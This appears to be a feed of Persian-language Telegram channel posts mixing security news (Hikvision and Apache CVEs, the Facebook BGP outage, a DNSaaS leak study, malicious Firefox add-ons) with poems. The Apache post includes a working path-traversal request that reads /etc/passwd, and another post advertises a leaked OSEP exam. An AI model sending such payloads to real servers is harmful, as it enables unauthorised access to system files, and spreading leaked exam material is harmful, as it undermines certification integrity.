Unauthenticated RCE vulnerability in
Hikvision IP camera/NVR firmware (CVE-2021-36260)
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html @Unidentified_TM

مشکل اختلال در سرویسهای فیسبوک از جمله اینستاگرام و واتساپ ناشی از DNS هست که ظاهرا به دلیل ناپدید شدن BGP فیسبوک از اینترنت ناشی شده

ناپدید شدن BGP فیسبوک از اینترنت، باعث میشه سرویسهای DNS نتونن IP سرورهای فیسبوک رو پیدا کنن که نتیجه اون این هست که کاربران هم امکان وصل شدن به سرورهای فیسبوک رو نخواهد داشت که اثراتش همین قطع شدن اپهای فیسبوک، اینستاگرام و واتساپ برای اونهاست.
این مورد توسط شرکت کلادفلیر که صاحب یکی از شلوغ ترین DNS های جهان یعنی 1.1.1.1 هست، تایید شده و این شرکت به خاطر پیدا نشدن IP های فیسبوک، درخواستهای بسیار زیادی از کاربران دریافت کرده و نرخ خطاهای این سرویس بالا رفته.
طبق گفته یکی از مهندسان فیسبوک در ردیت، در اشتباهی بزرگ، اپدیتی که مهندسان فیسبوک امروز برای تجهیزات شبکه فیسبوک ارسال کردن باعث مشکلی در تنظیمات این تجهیزات شده، بنابراین این تجهیزات نمیتونن IP سرورهای فیسبوک رو به بقیه BGP ها مخابره کنن، این مشکل ناپدید شدن BGP فیسبوک رو از اینترنت به دنبال داشته که باعث شده سرویس های فیسبوک توسط کاربران قابل دسترسی و پیدا کردن نباشن.
این اپدیت جدید باعث شده که مهندسان نتونن از راه دور تجهیزات شبکه فیسبوک رو اصلاح کنن و از شبکه بیرون بیافتن. در نتیجه تنها کسانی که دسترسی فیزیکی به این تجهیزات دارن امکان تغییر در تنظیمات و اصلاح اونهارو دارن. اما همین افراد، که به این تجهیزات دسترسی فیزیکی دارن، دارای اعتبار لازم برای دسترسی نرم افزاری به اونها نیستن.
در نتیجه این قضیه باعث مشکلات لجستیکی زیادی شده چون کسانی که دسترسی لازم برای اعلام تغییرات دارن از اون دورن و باید حضوری در محل حاضر بشن و کسانی که حضوری در محل هستن، دسترسی های لازم برای اعمال تغییرات رو ندارن.
علاوه بر این که به خاطر پاندمی، تعداد افراد حاضر در دیتاسنترهای فیسبوک کم هست که این قضیه رو بیش از پیش بدتر میکنه
گروه برنامه نویسان
@Unidentified_TM

این‌همه از تاریکی بد نگویید
شما که فروش چراغتان
به لطف همین تاریکی است

گفتم اینجا تا مشهد چقدر راه است؟!
گفت : آنقدر که بگویی،
السلام علیک یا علی بن موسی الرضا(ع)

🖤شهادت امام رضا(ع) تسلیت باد🖤

پل زدن مرزهای شبکه

دشمنان ممکن است با به خطر انداختن دستگاه های محیطی از مرزهای شبکه عبور کنند. نقض این دستگاه ها ممکن است یک دشمن را قادر به دور زدن محدودیت های مسیر یابی ترافیک کند که در غیر این صورت شبکه های مورد اعتماد و غیرقابل اعتماد را از هم جدا می کند.

از دستگاه هایی مانند روترها و فایروال ها می توان برای ایجاد مرز بین شبکه های مورد اعتماد و غیرقابل اعتماد استفاده کرد. آنها با محدود کردن انواع ترافیک برای اعمال سیاست سازمانی در تلاش برای کاهش خطر ذاتی چنین ارتباطاتی ، به این مهم دست می یابند. محدودیت ترافیک را می توان با ممنوعیت آدرس های IP ، پورت های پروتکل لایه 4 یا بازرسی عمیق بسته ها برای شناسایی برنامه ها به دست آورد. برای مشارکت در بقیه شبکه ، این دستگاه ها می توانند مستقیماً آدرس پذیر یا شفاف باشند ، اما نحوه عملکرد آنها هیچ تاثیری در نحوه دور زدن دشمن در صورت آسیب رساندن ندارد.

هنگامی که یک دشمن کنترل چنین وسیله مرزی را در دست می گیرد ، آنها می توانند اجرای سیاست های آن را دور بزنند تا ترافیک معمولاً ممنوع را از مرز اعتماد بین دو شبکه جدا شده بدون مانع عبور دهند. با دستیابی به حقوق کافی بر روی دستگاه ، یک دشمن می تواند دستگاه را مجدداً پیکربندی کند تا بتواند ترافیک مورد نظر خود را ایجاد کند ، و به آنها این امکان را می دهد تا به اهداف دیگری مانند فرمان و کنترل از طریق پروکسی چند هاپ یا تصفیه داده ها از طریق تکرار ترافیک دست یابند . در مواردی که یک دستگاه مرزی دو سازمان مجزا را از هم جدا می کند ، دشمن همچنین می تواند حرکت جانبی را در محیط های جدید قربانی تسهیل کند.

@UNIDENTIFIED_TM

OSEP Exam Leak

Electrician (Scada), ACBank, Betapharma, Labs

@Unidentified_TM

تزریق آگهی (Ads injection) یک تهدید در حال تحول است که تقریباً می تواند هر سایتی را تحت تأثیر قرار دهد. سیلام و ماساس گفتند، مهاجمان از هر چیزی؛ از افزونه های مرورگر گرفته تا بدافزارها و ابزارهای تبلیغاتی مزاحم نصب شده بر روی دستگاه های بازدیدکنندگان استفاده خواهند کرد و این امر باعث می شود اکثر صاحبان سایتها نتوانند از عهده چنین حملاتی برآیند.
حواستون جمع باشه
@Unidentified_TM

آسیب پذیری جدید از آپاچی

[Apache] HTTP Server cgi-bin Path Traversal and RCE (CVE-2021-42013)

This exploit can bypass for Apache HTTP Server 2.4.50 (CVE-2021-41773 Patch Version)

GET /cgi-bin/%%32%65%%32%65/.../%%32%65%%32%65/etc/passwd HTTP/1.1



#apache
#rce


@Unidentified_TM

گری کیلدال: بدشانس ترین مرد دنیای فناوری که با اشتباهش بیل گیتس را به اوج ثروت رساند .
@Unidentified_TM

آسیب پذیری جدید پیکربندی DNS و خطر نشت اطلاعات در شبکه شرکت ها
خطر نشت اطلاعات
نشست کنفراس کلاه سیاه: محققان امنیتی نوع جدیدی از آسیب پذیری DNS را کشف کرده اند که بر روی چندین ارائه دهنده گان سرویس های (DNSaaS) تأثیر می گذارد.

محققان هشدار می دهند که در AWS Route 53 حفره امنیتی وجود دارد و سایر بسترهای مدیریت DNS نیز به طور بالقوه آسیب پذیری وجود دارد. محققان امنیتی نوع جدیدی از آسیب پذیری DNS را کشف کرده اند که بر روی چندین ارائه دهنده سرویس های (DNSaaS) تأثیر می گذارد. محققان شرکت امنیت ابری Wiz.io دریافتند که پیاده سازی غیر استاندارد رفع کننده های DNS در صورت ترکیب با ویژگی های ارائه سرویس DNS منجر به نشت اطلاعات از شبکه شرکت هایی می شود که از این سرویس آسیب زا استفاده می کنند.

این تحقیق طی نشستی در کنفرانس "کلاه سیاه" آمریکا در روز چهاردهم مرداد1400 ارائه شد. هر ارائه دهنده خدمات ابری، ثبت کننده دامنه و میزبان وب سایتی که خدمات DNSaaS را ارائه می دهد ممکن است آسیب پذیر باشد، همچنین طبق آزمایشات شرکت امنیتی Wiz.io نشان می دهد ارائه دهندگان DNS و مشتریان آنها دارای نقص امنیتی می باشند و منحصرا در معرض خطر هستند.

افشای اطلاعات حساس

پیچیدگی DNS و پیاده سازی های چندگانه آن، شرکت امنیتی Wiz.io را وادار کرد امنیت ارائه خدمات DNSaaS و سرویس AWS Route 53 را بررسی کند. در کمال تعجب، محققان دریافتند که اگر یک نام سرور برای خود در AWS Route 53 ثبت کنند، ترافیک DNS پویا را مشاهده می کنند که این ترافیک بایستی محدود به شبکه های داخلی باشد. مایکروسافت ویندوز هنگام انجام به روز رسانی DNS اطلاعات حساس مشتری را نشان می دهد. اطلاعاتی که در معرض دید قرار می گیرند شامل آدرس IP داخلی، نام رایانه و آدرس IP خارجی هستند.

شرکت امنیتی Wiz.io در گزارش خود اعلام کرد: بالغ بر چند ساعت تحلیل کردن شبکه و بررسی 992هزار شرکتی در حال بروزرسانی DNS بودند حدود 15000 شرکت آسیب پذیر دریافت کردیم که 15 مورد از شرکت های مذکور مربوط به 500 شرکت برتر جهان هستند. در این آسیب پذیری افشای نام های رایانه می توانند نقش کاربر در یک سازمان را نشان دهد، آدرس های IP داخلی وضعیت شبکه سازمانی را نشان می دهد و آدرس های IP خارجی موقعیت جغرافیایی رایانه ها را نشان می دهد.

در جریان برگزاری کنفراس Black Hat آمریکا، شرکت Wiz.io ادعا کرد که محدود و سهولت بهره برداری ناشی از این آسیب پذیری به قدری است که آژانس امنیت ملی "NSA" می تواند به آسانی ثبت یک دامنه اینترنتی از این آسیب پذیری جاسوسی کند. به طور خاص، هر شخصی می تواند روی مناطق میزبانی در AWS مرتبط با ROUTE53 نام سرورهایی را ثبت کند که نتیجه آن افشای اطلاعات DNS شرکت ها می باشد.

شرکت امنیتی Wiz.io کشف کرد که یک شرکت اعتباری بزرگی که دارای یک شرکت تابعه در ایران می باشد و یک دفتر شرکت معدنی در ساحل عاج دارد به طور آشکار قوانین دفتر کنترل دارایی های خارجی ایالات متحده آمریکا را نقض کردند. علاوه بر این، گاهی اوقات آدرس های IPv6 داخلی و بدتر از آن احراز هویت پروتکل های NTLM و Kerberos در معرض نمایش قرار می گیرند. مشتریان شرکت هایی که از هر ارائه دهنده ای خدمات می گیرند، می توانند با تغییر رکورد پیش فرض Start of Authority (SoA) درتنظیمات DNS خود، به این مشکل رسیدگی کنند.

@Unidentified_TM

سه جا پشت سرت حرف میزنن:


- وقتی نمیتونن در حدت باشن...
- وقتی میخوان از سبک زندگیت تقلید کنن اما نمیتونن...
- وقتی چیزی داری که اونا ندارن...

@Unidentified_TM
پند بزرگان

فایرفاکس هشدار می‌دهد که دو افزونه مخرب فایرفاکس که توسط بیش از 455000 کاربر نصب شده ‌است، مانع از دانلود به‌روزرسانی‌های امنیتی، دسترسی به فهرست‌های بلاک‌شده و به‌روز شده و به‌روزرسانی محتوای پیکربندی‌شده از راه دور توسط کاربران می‌شوند.

Bypass" (ID: 7c3a8b88-4dc9-4487-b7f9-736b5f38b957) or "Bypass XM" (ID: d61552ef-e2a6-4fb5-bf67-8990f0014957).
@Unidentified_TM